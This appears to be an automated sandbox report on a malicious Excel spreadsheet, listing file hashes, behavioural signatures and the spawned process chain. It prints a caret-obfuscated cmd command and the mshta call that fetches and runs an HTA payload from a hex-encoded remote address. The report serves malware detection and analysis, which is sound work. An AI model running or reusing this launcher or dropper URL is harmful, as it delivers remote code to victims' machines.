Analysis
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max time kernel
137s -
max time network
137s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
18-01-2022 13:08
Behavioral task
behavioral1
Sample
554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6.xls
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
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Target
554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6.xls
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Size
128KB
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MD5
d0efc7a0b8673689b738de5d3d155e6d
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SHA1
66beb67d482a5de21d0a614abed203a4342158e8
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SHA256
554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6
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SHA512
26ae37022b3063230afe9ea64d459176f8256bd07152a04a25d7f729346a7a28c6a5ea3c313ef2ffdddc7a0e6bdb1dc686fabb25fad67e4b68a5b1fc6f99202a
Score
10/10
Malware Config
Extracted
Language
hta
Source
URLs
hta.dropper
http://0xb907d607/cc.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3236 1212 cmd.exe 68 -
Blocklisted process makes network request 1 IoCs
flow pid Process 51 2180 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1212 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE 1212 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1212 wrote to memory of 3236 1212 EXCEL.EXE 72 PID 1212 wrote to memory of 3236 1212 EXCEL.EXE 72 PID 3236 wrote to memory of 2180 3236 cmd.exe 74 PID 3236 wrote to memory of 2180 3236 cmd.exe 74
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\554def5c6fb4917a17fb5f951fc799471eb7520dd970a47d62ad565642b281d6.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3236 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
PID:2180
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